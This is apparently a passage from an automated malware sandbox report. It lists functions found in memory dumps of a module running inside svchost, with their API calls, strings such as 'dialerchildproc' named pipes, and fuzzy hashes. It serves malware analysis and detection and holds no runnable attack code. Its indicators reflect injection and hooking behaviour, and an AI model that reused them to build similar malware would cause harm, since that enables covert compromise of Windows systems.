Part of subcall function 0000025306E619AC: OpenProcess.KERNEL32 ref: 0000025306E619CA
Part of subcall function 0000025306E619AC: IsWow64Process.KERNEL32 ref: 0000025306E619E0
Part of subcall function 0000025306E619AC: CloseHandle.KERNEL32 ref: 0000025306E619FB

CreateFileW.KERNEL32 ref: 0000025306E62468
WriteFile.KERNEL32 ref: 0000025306E62490
ReadFile.KERNEL32 ref: 0000025306E624AF
CloseHandle.KERNEL32 ref: 0000025306E624B8

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000025306E62438
\\.\pipe\dialerchildproc32, xrefs: 0000025306E6243F

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction ID: 4b9723d83ffef661a2df1093bac8626c59532c343e3a3266cd6f49c48f56047a
Opcode Fuzzy Hash: 81a5590feb268d746862aeeaca95d5a7bb0e3fb4412a03f66270e8c9225f983f
Instruction Fuzzy Hash: 0A214936614B5083FB10CB65EA4835A77A0F389BE6F505215EA5943BECDF7CC249CB04

Function 0000025306E6104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000025306E610AB
RegEnumValueW.ADVAPI32 ref: 0000025306E6110E
GetProcessHeap.KERNEL32 ref: 0000025306E61155
HeapAlloc.KERNEL32 ref: 0000025306E61163
GetProcessHeap.KERNEL32 ref: 0000025306E61187
HeapFree.KERNEL32 ref: 0000025306E61195

Strings

d, xrefs: 0000025306E610CE

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction ID: 3eb227a90dd505873f50682121a590a1dd474164894a6c42467e29c58437e9ca
Opcode Fuzzy Hash: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction Fuzzy Hash: A6417233214B90D7E761CF95E94879AB7A1F3887C5F008125EB8907B98DF38D268CB04

Function 00000253067D69F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000253067D6A18
__scrt_acquire_startup_lock.LIBCMT ref: 00000253067D6A6A
_RTC_Initialize.LIBCMT ref: 00000253067D6A98
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000253067D6ABE
__scrt_release_startup_lock.LIBCMT ref: 00000253067D6AE9

Memory Dump Source

Source File: 0000001E.00000002.2922053570.00000253067D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000253067D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_253067d0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: 4e1eca3a14f57ae1b44fa47283abdcc15747a8110826826dcac1c97b97d2998a
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: A081E221600FB186FA54EB259C4937923B0E789FC2F547925AA58C77DFDB38CB498708

Function 0000025306E675F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000025306E67618
__scrt_acquire_startup_lock.LIBCMT ref: 0000025306E6766A
_RTC_Initialize.LIBCMT ref: 0000025306E67698
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000025306E676BE
__scrt_release_startup_lock.LIBCMT ref: 0000025306E676E9

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: 46a3f7955dd0718d26c4c5b575450434584877d29b7e551ed17222307919b4d6
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: 8B81CD30710F7186FE50EBE99E4C39A2290AB457CAF047125BA09477EEDB38CB41C708

Function 0000025306E69804 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 0000025306E69889
GetLastError.KERNEL32 ref: 0000025306E69897
LoadLibraryExW.KERNEL32 ref: 0000025306E698C1
FreeLibrary.KERNEL32 ref: 0000025306E69907
GetProcAddress.KERNEL32 ref: 0000025306E69913

Strings

api-ms-, xrefs: 0000025306E698A9

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction ID: 702610bec8e7a65bbd8d4d06c48433f054525fb93bb0180a477ced8a9b809bb6
Opcode Fuzzy Hash: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction Fuzzy Hash: 3D310331202F6195EE51DF92AE087996394BB08BE6F092525FD2D4B3D9EF38C244C308

Function 0000025306E71B9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteConsoleW.KERNEL32 ref: 0000025306E71BCD
GetLastError.KERNEL32 ref: 0000025306E71BD9
CloseHandle.KERNEL32 ref: 0000025306E71BF1
CreateFileW.KERNEL32 ref: 0000025306E71C1C
WriteConsoleW.KERNEL32 ref: 0000025306E71C3B

Strings

CONOUT$, xrefs: 0000025306E71BFD

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction ID: b58e3b165d099d1b7975f85f89b3e99003cf41f4ba852fc3f395b3dab0e66951
Opcode Fuzzy Hash: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction Fuzzy Hash: FC116D21314F6086E790CB96ED5831A77A0FB98FE6F145224EA5D877D8DF78CA04C748

Function 0000025306E65C10 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000025306E65C4B
GetThreadContext.KERNEL32 ref: 0000025306E65DB5

Part of subcall function 0000025306E65A40: GetCurrentThreadId.KERNEL32 ref: 0000025306E65A44

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction ID: aaf0407f03c20954f3603b35a4714f407628f89e6976bb78a0326656dfb50811
Opcode Fuzzy Hash: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction Fuzzy Hash: 45D18C76208F9881DA70DB59E99835A77A0F7C8BC9F105216EA8D47BE9DF38C641CB04

Function 0000025306E630B4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000025306E630D7
HeapAlloc.KERNEL32 ref: 0000025306E630EA
StrCmpNIW.SHLWAPI ref: 0000025306E6316B
GetProcessHeap.KERNEL32 ref: 0000025306E631D1
HeapFree.KERNEL32 ref: 0000025306E631DF

Strings

dialer, xrefs: 0000025306E63164

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction ID: 06783d0b336c43b6fb8f3cf0e459f23948a40912d03ff5635ea17d9edfbdb44c
Opcode Fuzzy Hash: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction Fuzzy Hash: 1F31A831701F7582EB55DF96AE4826A67A0FB447C6F046020AF4907BD9EF38C6A9C708

Function 0000025306E61A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000025306E61A3A
K32GetModuleFileNameExW.KERNEL32 ref: 0000025306E61A58
PathFindFileNameW.SHLWAPI ref: 0000025306E61A67
lstrlenW.KERNEL32 ref: 0000025306E61A73
StrCpyW.SHLWAPI ref: 0000025306E61A86
CloseHandle.KERNEL32 ref: 0000025306E61A94

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction ID: 5f443a769d04d3adea556802eead3f678b55cddfadf8d773dddeaacf41c16662
Opcode Fuzzy Hash: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction Fuzzy Hash: 62018031300F5196EB50DB92A95C75A63A1F788FC2F484435DE8943798DE3CCA89C344

Function 0000025306E637AC Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000025306E637C8
GetCurrentProcess.KERNEL32 ref: 0000025306E637D6
VirtualProtectEx.KERNEL32 ref: 0000025306E637F8
GetCurrentProcess.KERNEL32 ref: 0000025306E63819
VirtualProtectEx.KERNEL32 ref: 0000025306E6383A
TerminateThread.KERNEL32 ref: 0000025306E63849

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction ID: 67865cf5ecda3e0ef2d77b708ba637a20954f1de08da6915a074c77a6b1aed6c
Opcode Fuzzy Hash: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction Fuzzy Hash: F4111775611F6086FB64DBA1ED0D75A67A0BB58BC7F042428DA494B7E9EF3CC608C708

Function 0000025306E690F5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000025306E69103
_IsNonwritableInCurrentImage.LIBCMT ref: 0000025306E69198
RtlUnwindEx.NTDLL ref: 0000025306E691E7

Strings

csm, xrefs: 0000025306E6917E
f, xrefs: 0000025306E69116

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 6fd9f1269f41fee45237cbde930d02143bfb5252efbf0107178b4952620fd5d9
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: B151C132311B228BEB54CF95EA4CB593799F344BCAF51A120EA16477CEDB35CA45C708

Function 0000025306E690D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000025306E69103
_IsNonwritableInCurrentImage.LIBCMT ref: 0000025306E69198
RtlUnwindEx.NTDLL ref: 0000025306E691E7

Strings

csm, xrefs: 0000025306E6917E
f, xrefs: 0000025306E69116

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: 99e5b11989131456094ae1b2b7497338fd034adba382cd73036ced72e1ece174
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: A631AF32210BA196E714DF91ED4C71A37A9F744BCAF16A114BE5A077CEDB38CA45C708

Function 0000025306E61AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000025306E61AD8
StrCmpNIW.SHLWAPI ref: 0000025306E61AF2
lstrlenW.KERNEL32 ref: 0000025306E61B01
StrCpyW.SHLWAPI ref: 0000025306E61B16

Strings

\\?\, xrefs: 0000025306E61AE6

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction ID: 1b038f0142236a24ced6044ad0faef4b883290b9e58a8ed610a7110b3a25747f
Opcode Fuzzy Hash: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction Fuzzy Hash: 8CF03132304B5192E760CBA5FA9839A6761F744BC9F849020DA4947A9CEE3DC748C704

Function 0000025306E63200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000025306E63222
StrCpyW.SHLWAPI ref: 0000025306E63232
StrCatW.SHLWAPI ref: 0000025306E6323E
PathCombineW.SHLWAPI ref: 0000025306E6324C

Strings

\\.\pipe\, xrefs: 0000025306E63218

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction ID: c9fb27bfcac6e99e8fd94bc9e368736ec2bf4c7c393eae6b54a4519cfa6ad413
Opcode Fuzzy Hash: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction Fuzzy Hash: 7BF08224304FA191EA50CB93BF0C11A6221EB48FD2F08A131EE5A07BADDE3CC641C348

Function 0000025306E6A138 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000025306E6A154
GetProcAddress.KERNEL32 ref: 0000025306E6A16A
FreeLibrary.KERNEL32 ref: 0000025306E6A187

Strings

CorExitProcess, xrefs: 0000025306E6A163
mscoree.dll, xrefs: 0000025306E6A14B

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction ID: da9a998cbc01b6656b8c920cb7f41de219c896e05435d306a2f840f05e45208c
Opcode Fuzzy Hash: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction Fuzzy Hash: CEF012A1711F5491EF94CBE4ED8C36627A0AB48BD2F443029A51B475E8DF38C68CD708

Function 0000025306E651B0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000025306E65236

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction ID: 5c726715d9ad476fa7ebe1cdcd0cb63686d4be01401ca58cd6bd6853f82b4a4a
Opcode Fuzzy Hash: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction Fuzzy Hash: A302C732219B9086EB60CB95E99835AB7A0F3C5BD5F105115FA8E87BACDF7CC584CB04

Function 0000025306E70860 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000025306E708A2
GetConsoleMode.KERNEL32 ref: 0000025306E70960
GetLastError.KERNEL32 ref: 0000025306E709EA

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction ID: c07e3fbccd39fb9f6d1ac549793f1d58a0b0bce9570af4ff920596f5c891eacf
Opcode Fuzzy Hash: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction Fuzzy Hash: 0181D0B2610F7089FB50DBE1DE483AE27A0F754BCAF446116EE0A937D9DB348641C318

Function 0000025306E657F0 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000025306E65806

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction ID: 8bd7cdf491045c013809163f324ed5bb684671d1bf3b00075ecc160aad20f4e1
Opcode Fuzzy Hash: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction Fuzzy Hash: FB61A776619F50C6E760CB95E95831AB7A0F7887D9F102125FA8D87BE8DB7CC640CB08

Function 00000253067E12B8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000253067E12E0
_set_statfp.LIBCMT ref: 00000253067E12FB
_set_statfp.LIBCMT ref: 00000253067E1317
_set_statfp.LIBCMT ref: 00000253067E1353

Memory Dump Source

Source File: 0000001E.00000002.2922053570.00000253067D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000253067D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_253067d0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 682786c9599d37d828d4b02738237e7320176018a7bf599af2c74a88741e04dd
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: CC11A322A94F2001F6649175EC5F37D11406B5DBF6FC86634AA76C6BDFCA388E49410C

Function 0000025306E71EB8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000025306E71EE0
_set_statfp.LIBCMT ref: 0000025306E71EFB
_set_statfp.LIBCMT ref: 0000025306E71F17
_set_statfp.LIBCMT ref: 0000025306E71F53

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 941447935e385e845102139b8ddcc0030948a823b7a2d3c3dbc15d29efe9af80
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: F6115422654F2105F66C91E4EE5D3AB10516F643F6E2C6625EA76076DE8B744F42C108

Function 0000025306E63878 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000025306E63886
GetCurrentProcess.KERNEL32 ref: 0000025306E638B4
VirtualProtectEx.KERNEL32 ref: 0000025306E638D6
GetCurrentProcess.KERNEL32 ref: 0000025306E638F4
VirtualProtectEx.KERNEL32 ref: 0000025306E63915

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction ID: e00bab76806325a9abdd15b433a0a8b9cf25c5bc0eff83bbe6d02225dab48dd1
Opcode Fuzzy Hash: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction Fuzzy Hash: E3113035714F5082EB54DB51F91825A6760F744BC5F041029EE89477D8EF3DC608C708

Function 00000253067D84F5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000253067D8503
_IsNonwritableInCurrentImage.LIBCMT ref: 00000253067D8598

Strings

csm, xrefs: 00000253067D857E
f, xrefs: 00000253067D8516

Memory Dump Source

Source File: 0000001E.00000002.2922053570.00000253067D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000253067D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_253067d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 67ee71b4855e026619fa8bc2fc696cfa62d67aa86e0da7ccef43094608b433d8
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: 04518F32621B208ADB14CF15DC48B2D37A5F344FE9F51A9249A57877CEEB34DA81870A

Function 00000253067D84D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000253067D8503
_IsNonwritableInCurrentImage.LIBCMT ref: 00000253067D8598

Strings

csm, xrefs: 00000253067D857E
f, xrefs: 00000253067D8516

Memory Dump Source

Source File: 0000001E.00000002.2922053570.00000253067D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000253067D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_253067d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: d7aab5b0b47cabe7f490b612553144fe0907bdc8f120940319c7e8d01024591c
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: E0318D71211B6086E714DF15EC4872937A8F744FDAF15A414AE5B877CADB38CA80C70A

Function 0000025306E614B4 Relevance: 6.3, APIs: 5, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000025306E614D5
HeapFree.KERNEL32 ref: 0000025306E614E4
GetProcessHeap.KERNEL32 ref: 0000025306E614F0
HeapFree.KERNEL32 ref: 0000025306E614FF
GetProcessHeap.KERNEL32 ref: 0000025306E6152A

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction ID: 5455172ac10750761f807d933ea8cf4a6234d30aeae94710e3f4c62fee7eac61
Opcode Fuzzy Hash: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction Fuzzy Hash: C7119032514FA4D2E790CFA6AD0825A73B0F789FC6F045019EB8A03B99DF38C155C708

Function 0000025306E626F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000025306E627D4
StrCpyW.SHLWAPI ref: 0000025306E627ED

Strings

\\.\pipe\, xrefs: 0000025306E627DF

Memory Dump Source

Source File: 0000001E.00000002.2929982709.0000025306E60000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025306E60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_25306e60000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction ID: c7236cf320714b2526d63330537b571de9eb5ebaef0cabde28b5695a523cc45a
Opcode Fuzzy Hash: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction Fuzzy Hash: 1371F332200FA14AE764DFA99E583EAA7A0F785BCAF442016EE4943BDDDE35C704C744

Function 0000025306E624DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000025306E625C3
StrCpyW.SHLWAPI ref: 0000025306E625DA

Strings

\\.\pipe\, xrefs: 0000025306E625CE

